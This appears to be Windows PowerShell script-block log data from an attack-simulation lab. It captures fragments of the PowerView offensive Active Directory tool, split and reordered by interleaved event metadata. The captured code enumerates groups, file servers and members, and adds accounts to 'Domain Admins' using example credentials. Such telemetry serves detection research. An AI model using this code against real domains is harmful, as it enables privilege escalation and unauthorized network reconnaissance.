.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
Adds harmj0y to 'Domain Admins' in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$GroupContext = Get-PrincipalContext @ContextArguments
if ($GroupContext) {
try {
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
}
catch {
Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
}
}
}
PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
$Group.Members.Add($Member)
$Group.Save()
}
}
}
}
function Remove-DomainGroupMember {
<#
.SYNOPSIS
Removes a domain user (or group) from an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
each entry in -Members, each member identity is similarly searched for and removed
from the group.
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to remove members from.
.PARAMETER Members
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
Removes harmj0y from 'Domain Admins' in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials.
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$GroupContext = Get-PrincipalContext @ContextArguments
if ($GroupContext) {
try {
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
}
catch {
Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_"
}
}
}
PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'"
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
$Group.Members.Remove($Member)
$Group.Save()
}
}
}
}
function Get-DomainFileServer {
<#
.SYNOPSIS
Returns a list of servers likely functioning as file servers.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.DESCRIPTION
Returns a list of likely fileservers by searching for all users in Active Directory
with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
the server names.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainFileServer
Returns active file servers for the current domain.
.EXAMPLE
Get-DomainFileServer -Domain testing.local
Returns active file servers for the 'testing.local' domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainFileServer -Credential $Cred
.OUTPUTS
String
One or more strings representing file server names.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[Alias('DomainName', 'Name')]
[String[]]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Split-Path {
# short internal helper to split UNC server paths
Param([String]$Path)
if ($Path -and ($Path.split('\\').Count -ge 3)) {
$Temp = $Path.split('\\')[2]
if ($Temp -and ($Temp -ne '')) {
$Temp
}
}
}
$SearcherArguments = @{
'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
'Properties' = 'homedirectory,scriptpath,profilepath'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
# get all results w/o the pipeline and uniquify them (I know it's not pretty)
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
}
}
else {
$UserSearcher = Get-DomainSearcher @SearcherArguments
$(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
}
}
}
function Get-DomainDFSShare {
<#
.SYNOPSIS
Returns a list of all fault-tolerant distributed file systems
for the current (or specified) domains.
Author: Ben Campbell (@meatballs__)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.DESCRIPTION
This function searches for all distributed file systems (either version
1, 2, or both depending on -Version X) by searching for domain objects
matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
The server data is parsed appropriately and returned.
.PARAMETER Domain
Specifies the domains to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/toed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188634Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2343 }
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
$Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
}
$Null = $SearcherArguments.Remove('Raw')
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
try {
$Result = $GroupSearcher.FindOne()
}
catch {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
$Members = @()
}
$GroupFoundName = ''
$GroupFoundDN = ''
if ($Result) {
$Members = $Result.properties.item('member')
if ($Members.count -eq 0) {
# ranged searching, thanks @meatballs__ !
$Finished = $False
$Bottom = 0
$Top = 0
while (-not $Finished) {
$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
$Null = $GroupSearcher.PropertiesToLoad.Clear()
$Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
$Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
$Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
$Members += $Result.Properties.item($RangedProperty)
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
if ($Members.count -eq 0) {
$Finished = $True
}
}
catch [System.Management.Automation.MethodInvocationException] {
$Finished = $True
}
}
}
else {
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
$Members += $Result.Properties.item($RangedProperty)
}
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
}
}
ForEach ($Member in $Members) {
if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
}
else {
$ObjectSearcherArguments = $SearcherArguments.Clone()
$ObjectSearcherArguments['Identity'] = $Member
$ObjectSearcherArguments['Raw'] = $True
$ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
$Object = Get-DomainObject @ObjectSearcherArguments
$Properties = $Object.Properties
}
if ($Properties) {
$GroupMember = New-Object PSObject
$GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
if ($Properties.objectsid) {
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
}
else {
$MemberSID = $Null
}
try {
$MemberDN = $Properties.distinguishedname[0]
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
try {
if (-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
$MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
if ($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
else {
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
catch {
$MemberDN = $Null
$MemberDomain = $Null
}
if ($Properties.samaccountname) {
# forest users have the samAccountName set
$MemberName = $Properties.samaccountname[0]
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $Properties.cn[0]
}
}
if ($Properties.objectclass -match 'computer') {
$MemberObjectClass = 'computer'
}
elseif ($Properties.objectclass -match 'group') {
$MemberObjectClass = 'group'
}
elseif ($Properties.objectclass -match 'user') {
$MemberObjectClass = 'user'
}
else {
$MemberObjectClass = $Null
}
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
$GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
$GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
$SearcherArguments['Identity'] = $MemberDN
$Null = $SearcherArguments.Remove('Properties')
Get-DomainGroupMember @SearcherArguments
}
}
}
$GroupSearcher.dispose()
}
}
}
function Get-DomainGroupMemberDeleted {
<#
.SYNOPSIS
Returns information on group members that were removed from the specified
group identity. Accomplished by searching the linked attribute replication
metadata for the group using Get-DomainObjectLinkedAttributeHistory.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectLinkedAttributeHistory
.DESCRIPTION
Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
replication metadata for the specified group. These are cases where the
'Version' attribute of group member in the replication metadata is even.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMemberDeleted | Group-Object GroupDN
Count Name Group
----- ---- -----
2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
.EXAMPLE
Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T23:07:43Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded : 2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T22:20:02Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded : 5
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.DomainGroupMemberDeleted
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.DomainGroupMemberDeleted')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
'LDAPFilter' = '(objectCategory=group)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPaged0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188633Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2243ource to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
Store a list of all security groups with managers in group-managers.csv
.OUTPUTS
PowerView.ManagedSecurityGroup
A custom PSObject describing the managed security group.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ManagedSecurityGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$TargetDomain = $Domain
}
else {
$TargetDomain = $Env:USERDNSDOMAIN
}
# go through the list of security groups on the domain and identify those who have a manager
Get-DomainGroup @SearcherArguments | ForEach-Object {
$SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
$SearcherArguments['Identity'] = $_.managedBy
$Null = $SearcherArguments.Remove('LDAPFilter')
# $SearcherArguments
# retrieve the object that the managedBy DN refers to
$GroupManager = Get-DomainObject @SearcherArguments
# Write-Host "GroupManager: $GroupManager"
$ManagedGroup = New-Object PSObject
$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
$ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
# determine whether the manager is a user or a group
if ($GroupManager.samaccounttype -eq 0x10000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
}
elseif ($GroupManager.samaccounttype -eq 0x30000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
}
$ACLArguments = @{
'Identity' = $_.distinguishedname
'RightsFilter' = 'WriteMembers'
}
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
# # TODO: correct!
# # find the ACLs that relate to the ability to write to the group
# $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
# # $ACLArguments
# # double-check that the manager
# if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
